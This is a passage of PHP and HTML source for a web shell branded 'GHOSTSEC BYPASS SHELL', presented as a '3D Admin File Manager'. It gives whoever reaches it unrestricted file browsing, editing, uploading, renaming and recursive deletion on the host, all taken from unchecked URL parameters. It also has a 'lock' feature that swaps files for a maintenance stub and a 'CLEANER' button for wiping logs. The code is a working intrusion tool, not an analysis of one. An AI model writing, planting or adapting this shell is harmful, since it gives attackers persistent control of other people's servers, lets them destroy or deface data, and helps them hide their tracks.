rgba(255,255,255,0.6);background:linear-gradient(145deg, #b0b0b0, var(--btn-dark))} </style> </head> <body> <div class="card"> <h2>Create <?php echo htmlspecialchars(ucfirst($type),ENT_QUOTES); ?></h2> <form method="post"> <input type="text" name="name" placeholder="Enter <?php echo htmlspecialchars($type,ENT_QUOTES); ?> name" required autofocus> <button class="btn" type="submit">Create</button> <a href="?<?php echo getRedirectParams(); ?>" style="color:#9fe06c;font-weight:700;text-decoration:none;padding:12px 16px;border-radius:12px;background:linear-gradient(145deg,#3a3a3a,#2d2d2d);box-shadow:5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05);display:inline-block;">Cancel</a> </form> </div> </body> </html> <?php exit; } /* ============================ LOCK / UNLOCK HELPERS ============================ */ function lock_target_path($target) { $dir = dirname($target); $base = basename($target); $abs = $dir . DIRECTORY_SEPARATOR . $base; return $abs; } function make_backup_name($abs) { return $abs . '.locked.bak'; } function is_locked_backup_present($abs) { return file_exists(make_backup_name($abs)); } function create_lock_stub_text($abs) { $ext = strtolower(pathinfo($abs, PATHINFO_EXTENSION)); if ($ext === 'txt') { return "Maintenance....Coming Soon!"; } return "Maintenance....Coming Soon!"; } /* Breadcrumb */ $parts = explode(DIRECTORY_SEPARATOR, $fullPath); $breadcrumb = ""; $build = ""; foreach ($parts as $p) { if ($p === "") continue; $build .= DIRECTORY_SEPARATOR . $p; $escapedBuildForJs = htmlspecialchars(addslashes($build), ENT_QUOTES); $breadcrumb .= "<a href='?" . getRedirectParamsForLink($build) . "' onclick=\"setPath('".$escapedBuildForJs."')\">" . htmlspecialchars($p, ENT_QUOTES) . "</a> / "; } // Helper function for breadcrumb links function getRedirectParamsForLink($newPath) { $params = ['path=' . rawurlencode($newPath)]; if (isset($_GET['search']) && $_GET['search'] !== '') { $params[] = 'search=' . rawurlencode($_GET['search']); } if (isset($_GET['scroll'])) { $params[] = 'scroll=' . intval($_GET['scroll']); } return implode('&', $params); } /* DELETE - FIXED: Now properly deletes folders */ if (isset($_GET['delete'])) { $target = $_GET['delete']; if (is_file($target)) { unlink($target); } elseif (is_dir($target)) { // Use recursive delete function for directories deleteDirectory($target); } $_SESSION['toast'] = "Deleted successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } /* RENAME */ if (isset($_GET['rename'])) { $renameFile = $_GET['rename']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = dirname($renameFile) . "/" . $_POST['newname']; rename($renameFile, $newName); $_SESSION['toast'] = "Renamed successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/> <title>Rename - <?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?></title> <style> :root{--bg:#1b1b1b;--card:#2d2d2d;--btn-light:#a0a0a0;--btn-dark:#808080;--btn-shadow:#606060;--muted:#9aa0a6} *{box-sizing:border-box}body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,#111111,#1a1a1a);color:#f0f0f0;padding:20px} .card{max-width:680px;margin:30px auto;padding:24px;border-radius:20px;background:linear-gradient(145deg,#2d2d2d,#3a3a3a);box-shadow:15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05);border:1px solid rgba(255,255,255,0.05)} h2{margin:0 0 16px 0;color:#ffffff}input[type=text]{width:100%;padding:14px 18px;border-radius:14px;border:none;margin-bottom:16px;font-weight:700;background:linear-gradient(145deg,#4a4a4a,#3a3a3a);color:#f0f0f0;box-shadow:inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1)}.btn{background:linear-gradient(145deg, var(--btn-light), var(--btn-dark));color:#222222;padding:14px 20px;border-radius:14px;font-weight:900;text-decoration:none;border:none;cursor:pointer;box-shadow:8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3);transition:all 0.3s ease} .btn:hover{transform:translateY(-3px);box-shadow:12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4)} .btn:active{transform:translateY(1px);box-shadow:inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6);background:linear-gradient(145deg, #b0b0b0, var(--btn-dark))} </style> </head> <body> <div class="card"> <h2>Rename: <?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?></h2> <form method="post"> <input type="text" name="newname" value="<?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?>" required> <button class="btn" type="submit">Rename</button> <a href="?<?php echo getRedirectParams(); ?>" style="color:#9fe06c;font-weight:700;text-decoration:none;padding:12px 16px;border-radius:12px;background:linear-gradient(145deg,#3a3a3a,#2d2d2d);box-shadow:5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05);display:inline-block;">Cancel</a> </form> </div> </body> </html> <?php exit; } /* LOCK - FIXED VERSION */ if (isset($_GET['lock'])) { $raw = $_GET['lock']; $abs = lock_target_path($raw); if (!file_exists($abs)) { $_SESSION['toast'] = "File not found!"; header("Location: ?" . getRedirectParams()); exit; } $bak = make_backup_name($abs); // Prevent double-lock if (is_locked_backup_present($abs)) { $_SESSION['toast'] = "Item already locked."; header("Location: ?" . getRedirectParams()); exit; } // For files: backup original content and replace with maintenance message if (is_file($abs)) { // Read original content $originalContent = file_get_contents($abs); // Create backup with original content if (file_put_contents($bak, $originalContent) === false) { $_SESSION['toast'] = "Failed to create backup!"; header("Location: ?" . getRedirectParams()); exit; } // Replace file with maintenance message $stub = create_lock_stub_text($abs); if (file_put_contents($abs, $stub) === false) { $_SESSION['toast'] = "Failed to lock file!"; // Clean up backup if stub creation failed if (file_exists($bak)) { unlink($bak); } header("Location: ?" . getRedirectParams()); exit; } // Set read-only permissions @chmod($abs, 0444); } elseif (is_dir($abs)) { // For directories: create backup and maintenance file if (!@rename($abs, $bak)) { $_SESSION['toast'] = "Failed to lock directory!"; header("Location: ?" . getRedirectParams()); exit; } // Recreate directory with maintenance notice @mkdir($abs, 0755, true); $stub = create_lock_stub_text($abs); @file_put_contents($abs . DIRECTORY_SEPARATOR . 'README.MAINTENANCE', $stub); } // Set appropriate success message $_SESSION['toast'] = "Locked Successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } /* UNLOCK - FIXED VERSION */ if (isset($_GET['unlock'])) { $raw = $_GET['unlock']; $abs = lock_target_path($raw); $bak = make_backup_name($abs); // Check if backup exists if (!file_exists($bak)) { $_SESSION['toast'] = "No backup found to unlock!"; header("Location: ?" . getRedirectParams()); exit; } // Remove the current locked file/directory if (file_exists($abs)) { if (is_dir($abs)) { // For directories: remove maintenance file and directory $stubfile = $abs . DIRECTORY_SEPARATOR . 'README.MAINTENANCE'; if (file_exists($stubfile)) { @unlink($stubfile); } // Remove all files in directory first $files = array_diff(scandir($abs), array('.', '..')); foreach ($files as $file) { $filePath = $abs . DIRECTORY_SEPARATOR . $file; if (is_file($filePath)) { @unlink($filePath); } } @rmdir($abs); } else { // For files: simply remove the locked file @unlink($abs); } } // Restore from backup if (is_dir($bak)) { // For directories: restore the entire directory if (!@rename($bak, $abs)) { $_SESSION['toast'] = "Failed to restore directory!"; header("Location: ?" . getRedirectParams()); exit; } } else { // For files: restore the original content $originalContent = file_get_contents($bak); if (file_put_contents($abs, $originalContent) === false) { $_SESSION['toast'] = "Failed to restore file content!"; header("Location: ?" . getRedirectParams()); exit; } // Remove backup file after successful restoration @unlink($bak); // Restore writable permissions @chmod($abs, 0644); } $_SESSION['toast'] = "Unlocked Successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } /* EDITOR */ if (isset($_GET['edit'])) { $editFile = $_GET['edit']; if (is_locked_backup_present($editFile)) { echo "<div style='max-width:900px;margin:30px auto;padding:20px;border-radius:12px;background:linear-gradient(145deg,#2a2a2a,#1f1f1f);color:#fff;'>" . "<p style='color:#ff7b7b;font-weight:700;'>File is LOCKED – cannot edit.</p></div>"; exit; } if (!is_writable($editFile)) { echo "<div style='max-width:900px;margin:30px auto;padding:20px;border-radius:1212px;background:linear-gradient(145deg,#2a2a2a,#1f1f1f);color:#fff;'>" . "<p style='color:#ff7b7b;font-weight:700;'>File is read-only – cannot edit.</p></div>"; exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($editFile, $_POST['content']); $_SESSION['toast'] = "Saved successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } $data = htmlspecialchars(file_get_contents($editFile), ENT_QUOTES, 'UTF-8'); ?> <!DOCTYPE html> <html lang="en"> <head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><title>Editing: <?php echo htmlspecialchars($editFile,ENT_QUOTES); ?></title> <style> :root{--bg:#1b1b1b;--card:#2d2d2d;--btn-light:#a0a0a0;--btn-dark:#808080;--btn-shadow:#606060} *{box-sizing:border-box}body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,#111111,#1a1a1a);color:#f0f0f0;padding:20px} .card{max-width:1100px;margin:20px auto;padding:22px;border-radius:20px;background:linear-gradient(145deg,#2f3133,#232425);border:1px solid rgba(255,255,255,0.05);box-shadow:15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05)} h2{margin:0 0 16px 0;color:#ffffff}textarea{width:100%;height:520px;border-radius:14px;padding:16px;border:none;font-family:monospace;resize:vertical;background:linear-gradient(145deg,#4a4a4a,#3a3a3a);color:#f0f0f0;box-shadow:inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1)}button.btn{padding:14px 20px;border-radius:14px;border:none;background:linear-gradient(145deg, var(--btn-light), var(--btn-dark));color:#222222;font-weight:900;cursor:pointer;margin-top:12px;box-shadow:8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3);transition:all 0.3s ease} button.btn:hover{transform:translateY(-3px);box-shadow:12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4)} button.btn:active{transform:translateY(1px);box-shadow:inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6);background:linear-gradient(145deg, #b0b0b0, var(--btn-dark))} </style> </head> <body> <div class="card"> <h2>Editing: <?php echo htmlspecialchars($editFile,ENT_QUOTES); ?></h2> <form method="post"> <textarea name="content"><?php echo $data; ?></textarea><br> <button class="btn" type="submit">Save</button> <a href="?<?php echo getRedirectParams(); ?>" style="color:#9fe06c;font-weight:700;text-decoration:none;padding:12px 16px;border-radius:12px;background:linear-gradient(145deg,#3a3a3a,#2d2d2d);box-shadow:5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05);display:inline-block;">Back</a> </form> </div> </body> </html> <?php exit; } /* UPLOAD - FIXED VERSION */ if (isset($_FILES['upload']) && isset($_FILES['upload']['tmp_name']) && is_uploaded_file($_FILES['upload']['tmp_name'])) { $destName = basename($_FILES['upload']['name']); $uploadPath = $fullPath . '/' . $destName; // Check if destination is writable if (!is_writable($fullPath)) { $_SESSION['toast'] = "Upload failed: Directory is not writable!"; header("Location: ?" . getRedirectParams()); exit; } // Move uploaded file if (move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath)) { $_SESSION['toast'] = "File Uploaded!✅"; } else { $_SESSION['toast'] = "Upload failed! Please check permissions."; } header("Location: ?" . getRedirectParams()); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/> <title>Ghost Security - File Manager</title> <style> /* 3D DARK THEME WITH GRAY 3D BUTTONS */ :root{ --bg-dark:#111111; --bg-light:#1a1a1a; --card-dark:#2d2d2d; --card-light:#3a3a3a; --muted:#9aa0a6; --btn-light:#a0a0a0; --btn-dark:#808080; --btn-shadow:#606060; --accent:#ffffff; --border: rgba(255,255,255,0.05); --elev: 0 15px 30px rgba(0,0,0,0.4); } *{box-sizing:border-box} body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,var(--bg-dark),var(--bg-light));color:#f0f0f0;padding:20px} .wrap{max-width:1400px;margin:0 auto;padding:8px} /* TOP CARD */ .top-card{ border-radius:20px; padding:22px 24px; background:linear-gradient(145deg,var(--card-dark),var(--card-light)); box-shadow: 15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05), inset 3px 3px 8px rgba(255,255,255,0.05), inset -3px -3px 8px rgba(0,0,0,0.3); border:1px solid var(--border); display:flex; gap:20px; align-items:center; justify-content:space-between; flex-wrap:wrap; } /* BRAND */ .brand{ display:flex; align-items:center; gap:16px; min-width:260px; } .brand img{width:58px;height:58px;border-radius:12px;object-fit:cover;border:1px solid var(--border);box-shadow:5px 5px 15px rgba(0,0,0,0.4)} .brand h2{margin:0;font-size:20px;letter-spacing:1px;color:var(--accent);text-shadow:2px 2px 4px rgba(0,0,0,0.5)} .brand .sub{font-size:13px;color:var(--muted);text-shadow:1px 1px 2px rgba(0,0,0,0.3)} /* CONTROLS */ .controls{ display:flex; gap:14px; align-items:center; margin-left:auto; flex-wrap:wrap; } /* SEARCH BOX */ .search-box{ display:flex; gap:10px; align-items:center; background:transparent; min-width:320px; } .search-input{ flex:1; padding:12px 16px; border-radius:14px; border:none; background:linear-gradient(145deg,#4a4a4a,#3a3a3a); color:#f0f0f0; font-weight:700; box-shadow: inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1); font-size:14px; outline:none; min-width:220px; transition:all 0.3s ease; } .search-input:focus{ box-shadow: inset 3px 3px 8px rgba(0,0,0,0.5), inset -3px -3px 8px rgba(255,255,255,0.15), 0 0 20px rgba(255,255,255,0.1); transform:translateY(-2px); } .search-input::placeholder{ color:var(--muted); font-weight:700; } /* Browsing display block - aligned horizontally */ .browse-block{ display:flex; gap:12px; align-items:center; background:transparent; min-width:380px; justify-content:flex-end; } .browse-label{font-size:13px;color:var(--muted);text-align:right;text-shadow:1px 1px 2px rgba(0,0,0,0.3)} .current-path{ font-weight:900; color:var(--accent); background:linear-gradient(145deg,#3a3a3a,#2d2d2d); padding:10px 14px; border-radius:14px; border:1px solid var(--border); max-width:520px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; box-shadow:inset 3px 3px 8px rgba(0,0,0,0.3); } /* NEW: CREATE BUTTONS GROUP */ .create-group { display: flex; gap: 12px; align-items: center; flex-wrap: wrap; margin-top: 16px; width: 100%; justify-content: center; border-top: 1px solid rgba(255,255,255,0.08); padding-top: 16px; } /* ALL BUTTONS WITH GRAY 3D STYLE */ .create-btn { background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color: #222222; padding: 12px 20px; border-radius: 14px; font-weight: 900; text-decoration: none; border: none; cursor: pointer; box-shadow: 8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3); display: inline-flex; align-items: center; gap: 10px; transition: all 0.3s ease; letter-spacing: 1px; } .create-btn:hover { transform: translateY(-3px) scale(1.03); box-shadow: 12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4); } .create-btn:active { transform: translateY(1px) scale(0.98); box-shadow: inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6); background: linear-gradient(145deg, #b0b0b0, var(--btn-dark)); } /* Actions: copy/upload/logout */ .action-group{ display:flex; gap:12px; align-items:center; } .copy-btn, .logout-inside, .btn-small, .search-btn, .clear-logs-btn, .upload-btn{ background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color:#222222; padding:12px 18px; border-radius:14px; font-weight:900; text-decoration:none; border:none; cursor:pointer; box-shadow: 8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3); display:inline-flex; align-items:center; gap:10px; transition: all 0.3s ease; letter-spacing: 1px; } .copy-btn:hover, .logout-inside:hover, .btn-small:hover, .search-btn:hover, .clear-logs-btn:hover, .upload-btn:hover{ transform:translateY(-3px) scale(1.03); box-shadow: 12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4); } .copy-btn:active, .logout-inside:active, .btn-small:active, .search-btn:active, .clear-logs-btn:active, .upload-btn:active{ transform:translateY(1px) scale(0.98); box-shadow: inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6); background: linear-gradient(145deg, #b0b0b0, var(--btn-dark)); } /* Upload form styling */ .upload-form{ display:inline-block; margin:0; } .upload-label{ cursor:pointer; display:inline-flex; align-items:center; gap:8px; padding:12px 16px; } .upload-input{ display:none; } /* Upload feedback */ .upload-feedback { position: fixed; top: 20px; right: 20px; background: linear-gradient(145deg, #2a2a2a, #1f1f1f); color: #9fe06c; padding: 14px 22px; border-radius: 14px; border: 1px solid var(--border); box-shadow: 10px 10px 25px rgba(0,0,0,0.5), -5px -5px 15px rgba(255,255,255,0.05); font-weight: 900; z-index: 1000; animation: slideIn 0.3s ease; } @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } /* MAIN CARD (file list) */ .card{ border-radius:20px; padding:22px; background:linear-gradient(145deg,var(--card-dark),var(--card-light)); box-shadow: 15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05), inset 3px 3px 8px rgba(255,255,255,0.05), inset -3px -3px 8px rgba(0,0,0,0.3); border:1px solid var(--border); margin-top:20px; } /* Breadcrumb */ .breadcrumb{ color:var(--muted); font-weight:700; display:flex; gap:10px; align-items:center; flex-wrap:wrap; margin-bottom:16px; } .breadcrumb a{ color:var(--accent); text-decoration:none; padding:8px 12px; border-radius:12px; background:linear-gradient(145deg,#3a3a3a,#2d2d2d); font-weight:800; box-shadow: 5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05); transition:all 0.3s ease; } .breadcrumb a:hover{ transform:translateY(-2px); box-shadow: 8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.08); } /* Search results info */ .search-info{ background:linear-gradient(145deg,#2a2a2a,#1f1f1f); padding:14px 18px; border-radius:14px; margin-bottom:20px; border:1px solid var(--border); box-shadow:inset 3px 3px 8px rgba(0,0,0,0.3); } .search-info h3{ margin:0 0 10px 0; color:var(--accent); font-size:18px; } .search-info .clear-search{ color:var(--muted); text-decoration:none; font-weight:800; font-size:13px; } /* File list */ .file-list{ list-style:none; padding:0; margin:0; margin-top:12px; display:grid; gap:12px; } .file-item{ display:flex; gap:14px; align-items:center; justify-content:space-between; padding:14px; border-radius:14px; background:linear-gradient(145deg,rgba(255,255,255,0.03),rgba(0,0,0,0.1)); border:1px solid rgba(255,255,255,0.03); box-shadow: 5px 5px 15px rgba(0,0,0,0.2), -3px -3px 10px rgba(255,255,255,0.03); } .file-left{ display:flex; gap:14px; align-items:center; min-width:0; overflow:hidden; } .file-icon{ width:60px; height:50px; border-radius:12px; background:linear-gradient(145deg,#3a3c3d,#272829); display:flex; align-items:center; justify-content:center; font-weight:900; color:#fff; flex-shrink:0; font-size:14px; box-shadow: inset 3px 3px 8px rgba(0,0,0,0.4), inset -3px -3px 8px rgba(255,255,255,0.1); } .file-info{min-width:0;overflow:hidden} .name{ font-weight:900; color:#f0f0f0; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; font-size:16px; text-shadow:1px 1px 2px rgba(0,0,0,0.3); } .meta{color:var(--muted);font-size:13px;margin-top:6px} /* file action buttons */ .file-actions{display:flex;gap:10px;align-items:center} .btn-small{ padding:10px 14px; border-radius:12px; font-size:13px; letter-spacing: 0.5px; } /* footer */ footer.note{text-align:center;color:var(--muted);font-weight:800;margin-top:20px;text-shadow:1px 1px 2px rgba(0,0,0,0.3)} /* Responsive adjustments */ @media (max-width:1000px){ .search-box{min-width:260px} .browse-block{min-width:280px} .brand img{width:52px;height:52px} .file-icon{width:52px;height:44px} } @media (max-width:700px){ .top-card{flex-direction:column;align-items:stretch} .controls{justify-content:space-between;width:100%} .search-box{order:2;width:100%;min-width:0;margin-top:16px} .browse-block{justify-content:space-between;min-width:0;order:1;width:100%} .action-group{order:3;width:100%;justify-content:center;margin-top:16px} .create-group{order:4;justify-content:center} .current-path{max-width:65%} .file-item{flex-direction:column;align-items:flex-start} .file-actions{width:100%;justify-content:flex-start;gap:8px;flex-wrap:wrap} } </style> <script> /* Initialize lastClickedPath to the server-side full path (JS-safe via json encoding) */ let lastClickedPath = <?php echo json_encode($fullPath, JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_AMP|JSON_HEX_QUOT); ?>; let searchTimeout = null; // Get scroll position from URL or default to 0 let currentScrollPos = <?php echo isset($_GET['scroll']) ? intval($_GET['scroll']) : 0; ?>; /* Update displayed path and internal value — safe escaping handled server-side */ function setPath(path){ lastClickedPath = path; const d = document.getElementById('currentPathDisplay'); if(d) { d.innerText = path; } } /* Copy path robustly (navigator.clipboard with textarea fallback) */ function copyPath(){ const text = lastClickedPath || (document.getElementById('currentPathDisplay') && document.getElementById('currentPathDisplay').innerText) || ''; if (!text) { alert('No path to copy.'); return; } if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).then(function(){ alert('Copied:\\n' + text); }).catch(function(){ fallbackCopy(text); }); } else { fallbackCopy(text); } } function fallbackCopy(text){ try { const ta = document.createElement('textarea'); ta.value = text; ta.style.position = 'fixed'; ta.style.left = '-9999px'; document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta); alert('Copied:\\n' + text); } catch (e) { alert('Could not copy.'); } } /* Search functionality with auto-submit */ function handleSearchInput(value) { clearTimeout(searchTimeout); searchTimeout = setTimeout(function() { if (value.length >= 2 || value.length === 0) { document.getElementById('searchForm').submit(); } }, 500); } /* Clear search */ function clearSearch() { document.getElementById('searchInput').value = ''; document.getElementById('searchForm').submit(); } /* Enhanced upload functionality */ function handleFileUpload(input) { if (input.files && input.files[0]) { // Show immediate feedback showUploadFeedback('Uploading file...'); // Submit the form const form = input.closest('form'); if (form) { form.submit(); } } } function showUploadFeedback(message) { // Remove existing feedback const existing = document.querySelector('.upload-feedback'); if (existing) { existing.remove(); } // Create new feedback const feedback = document.createElement('div'); feedback.className = 'upload-feedback'; feedback.textContent = message; document.body.appendChild(feedback); // Auto remove after 3 seconds setTimeout(() => { feedback.remove(); }, 3000); } /* Save scroll position before any action */ function saveScrollPosition() { const scrollPos = window.pageYOffset || document.documentElement.scrollTop; // Update all links to include scroll position document.querySelectorAll('a[href*="?"]').forEach(link => { const href = link.getAttribute('href'); if (href && href.includes('?')) { // Remove existing scroll parameter if present let newHref = href.replace(/&scroll=\d+/, ''); // Add current scroll position newHref += (newHref.includes('?') ? '&' : '?') + 'scroll=' + scrollPos; link.setAttribute('href', newHref); } }); // Update forms to include scroll position document.querySelectorAll('form').forEach(form => { let existingScroll = form.querySelector('input[name="scroll"]'); if (!existingScroll) { const scrollInput = document.createElement('input'); scrollInput.type = 'hidden'; scrollInput.name = 'scroll'; scrollInput.value = scrollPos; form.appendChild(scrollInput); } else { existingScroll.value = scrollPos; } }); } /* Restore scroll position */ function restoreScrollPosition() { if (currentScrollPos > 0) { setTimeout(() => { window.scrollTo(0, currentScrollPos); }, 100); } } /* Accessibility: allow clicking breadcrumb anchors with keyboard to update path */ document.addEventListener('DOMContentLoaded', function(){ // ensure current-path has initial value const d = document.getElementById('currentPathDisplay'); if(d && (!d.innerText || d.innerText.trim()==='')) { d.innerText = lastClickedPath; } // enhance breadcrumb anchors to set path (if not already set via inline onclick) const crumbs = document.querySelectorAll('.breadcrumb a'); crumbs.forEach(function(a){ if (!a.getAttribute('onclick')) { const href = a.getAttribute('href'); try { const url = new URL(href, window.location.href); const p = url.searchParams.get('path'); if (p) { a.setAttribute('data-path', decodeURIComponent(p)); a.addEventListener('click', function(){ setPath(this.getAttribute('data-path')); }); } } catch(e){} } }); // make file name elements that have onclick set their title (helpful on mobile) const names = document.querySelectorAll('.file-info .name'); names.forEach(function(n){ if (n && n.innerText) n.setAttribute('title', n.innerText); }); // Show upload success message if present in URL const urlParams = new URLSearchParams(window.location.search); if (urlParams.get('upload') === 'success') { showUploadFeedback('File Uploaded!✅'); } // Add scroll position preservation to all action links document.querySelectorAll('a[href*="?"]:not([href*="logout"])').forEach(link => { link.addEventListener('click', function(e) { if (!this.href.includes('logout')) { saveScrollPosition(); } }); }); // Add scroll position preservation to form submissions document.querySelectorAll('form').forEach(form => { form.addEventListener('submit', saveScrollPosition); }); // Restore scroll position on page load restoreScrollPosition(); }); </script> </head> <body onload="restoreScrollPosition();"> <?php // Display one-time toast (simple alert). Put this after the <body> tag. if (!empty($_SESSION['toast'])) { $t = $_SESSION['toast']; echo "<script>try{showUploadFeedback('" . addslashes($t) . "');}catch(e){alert('" . addslashes($t) . "');}</script>"; unset($_SESSION['toast']); } ?> <div class="wrap"> <div class="top-card"> <div class="brand"> <img src="https://i.ibb.co/27S7vWvq/1762220205621.png" alt="logo"> <div> <h2>GHOSTSEC BYPASS SHELL</h2> <div class="sub">3D Admin File Manager</div> </div> </div> <div class="controls"> <!-- Search Box --> <div class="search-box"> <form method="get" id="searchForm" style="display:flex;gap:10px;width:100%;"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path, ENT_QUOTES); ?>"> <input type="hidden" name="scroll" value="<?php echo isset($_GET['scroll']) ? intval($_GET['scroll']) : 0; ?>"> <input type="text" id="searchInput" name="search" class="search-input" placeholder="Search files (.php, .txt, .js, .html, etc.)" value="<?php echo htmlspecialchars($searchTerm, ENT_QUOTES); ?>" oninput="handleSearchInput(this.value)"> <button type="submit" class="search-btn">SEARCH</button> </form> </div> <div class="browse-block" aria-hidden="false"> <div style="text-align:right"> <div class="browse-label">Path:</div> </div> <div id="currentPathDisplay" class="current-path" style="max-width:560px;"><?php echo htmlspecialchars($fullPath,ENT_QUOTES); ?></div> </div> <div class="action-group" role="group" aria-label="actions"> <button type="button" class="copy-btn" onclick="copyPath()" title="Copy current path to clipboard">COPY PATH</button> <!-- FIXED UPLOAD FORM --> <form method="post" enctype="multipart/form-data" class="upload-form"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path, ENT_QUOTES); ?>"> <input type="hidden" name="scroll" value="<?php echo isset($_GET['scroll']) ? intval($_GET['scroll']) : 0; ?>"> <label class="upload-btn"> UPLOAD <input type="file" name="upload" class="upload-input" onchange="handleFileUpload(this)" style="display:none"> </label> </form> <a class="clear-logs-btn" href="?clearlogs=1&<?php echo getRedirectParams(); ?>" onclick="saveScrollPosition(); return confirm('Are you sure you want to clear all logs? This action cannot be undone.')">CLEANER</a> <a class="logout-inside" href="?logout=1">LOGOUT</a> </div> <!-- NEW CREATE FILE/FOLDER BUTTONS GROUP WITHOUT MIRROR BUTTON --> <div class="create-group"> <a class="create-btn" href="?create=file&<?php echo getRedirectParams(); ?>" onclick="saveScrollPosition();">CREATE - FILES</a> <a class="create-btn" href="?create=folder&<?php echo getRedirectParams(); ?>" onclick="saveScrollPosition();">CREATE FOLDER</a> </div> </div> </div> <div class="card"> <div class="breadcrumb" aria-label="breadcrumb"><?php echo $breadcrumb; ?></div> <?php if ($searchTerm !== ''): ?> <div class="search-info"> <h3>Search Results for "<?php echo htmlspecialchars($searchTerm, ENT_QUOTES); ?>"</h3> <div>Found <?php echo count($searchResults); ?> result(s)</div> <a href="?<?php echo getRedirectParams(); ?>" class="clear-search">Clear Search</a> </div> <?php endif; ?> <ul class="file-list" aria-live="polite"> <?php $displayItems = $searchTerm !== '' ? $searchResults : scandir($fullPath); foreach ($displayItems as $entry) { if ($searchTerm !== '') { // For search results, $entry is already the full path $filePath = $entry; $entry = basename($entry); } else { // For normal directory listing if ($entry === '.' || $entry === '..') continue; $filePath = $fullPath . DIRECTORY_SEPARATOR . $entry; } $urlPath = rawurlencode($filePath); $isWritable = is_writable($filePath); $isDir = is_dir($filePath); $meta = $isDir ? "Directory" : (round(filesize($filePath)/1024,2) . " KB"); $iconLabel = $isDir ? "DIR" : strtoupper(pathinfo($entry, PATHINFO_EXTENSION) ?: 'FILE'); // Check if item is locked by looking for backup file $isLocked = is_locked_backup_present($filePath); // prepare JS-safe path for setPath calls $jsSafePath = addslashes($filePath); echo "<li class='file-item'>"; echo "<div class='file-left'>"; echo "<div class='file-icon' title='".htmlspecialchars($entry,ENT_QUOTES)."'>".htmlspecialchars($iconLabel,ENT_QUOTES)."</div>"; echo "<div class='file-info'>"; if ($isDir) { echo "<div class='name'><b>[<a href='?" . getRedirectParamsForLink($filePath) . "' onclick=\"setPath('".htmlspecialchars($jsSafePath,ENT_QUOTES)."')\" style='color:var(--accent);text-decoration:none;'>".htmlspecialchars($entry,ENT_QUOTES)."</a>]</b></div>"; } else { echo "<div class='name' onclick=\"setPath('".htmlspecialchars($jsSafePath,ENT_QUOTES)."')\" style='cursor:pointer;color:var(--accent);'>".htmlspecialchars($entry,ENT_QUOTES)."</div>"; } echo "<div class='meta'>".htmlspecialchars($meta,ENT_QUOTES)."</div>"; echo "</div>"; echo "</div>"; echo "<div class='file-actions' role='group' aria-label='file actions'>"; if (!$isDir) { $editDisabled = ($isWritable && !$isLocked) ? "" : "style='opacity:.45;pointer-events:none;'"; echo "<a class='btn-small' href='?edit=$urlPath&" . getRedirectParams() . "' $editDisabled onclick=\"saveScrollPosition();\">EDIT</a>"; } echo "<a class='btn-small' href='?rename=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition();\">RENAME</a>"; echo "<a class='btn-small' href='?delete=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition(); return confirm('Delete 